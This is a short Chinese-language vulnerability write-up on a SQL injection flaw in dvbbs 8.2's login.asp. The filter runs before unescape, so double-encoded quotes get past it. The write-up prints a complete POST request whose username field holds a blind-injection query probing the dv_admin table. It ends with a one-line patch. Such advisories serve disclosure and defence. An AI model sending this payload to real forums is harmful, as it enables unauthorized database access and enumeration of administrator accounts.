dvbbs 8.2 SQL Injection注射漏洞分析
password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271
就可触发.
漏洞分析:动网在asp领域也算一个比较元老的程序,这次在8.2新版里有一个低级的错误.漏洞代码在login.asp 118行左右
......
username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = unescape(username)
......
取得的username是先经过检查然后再unescape解码,导致用urlencode模式就可以饶过任何检查,和php的urldecode导致的注射很类似,譬如用%2527就可以提交'过去了.
修补方案:修补也很简单,将上述代码改成
......
username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = trim(Dvbbs.CheckStr(unescape(username)))
......
您可能感兴趣的文章
- 01-10防SQL注入的VBSrcipt代码
- 01-10getSQLinfo.vbs 获得SQL数据/日志空间使用情况的脚本
- 01-10利用sql语句复制一条或多条记录
- 01-10vbs版sql查询分析器lcx作品
- 01-10查看SQL状态的vbs
- 01-10SQLids.vbs 0.7(最终版,以后改成gui界面的)
- 01-10SQL获取表结构的show
- 01-10如何用word vb宏来生成sql
- 01-10VBA中连接SQLSERVER数据库例子
- 01-10VB语言使用ADO连接、操作SQLServer数据库教程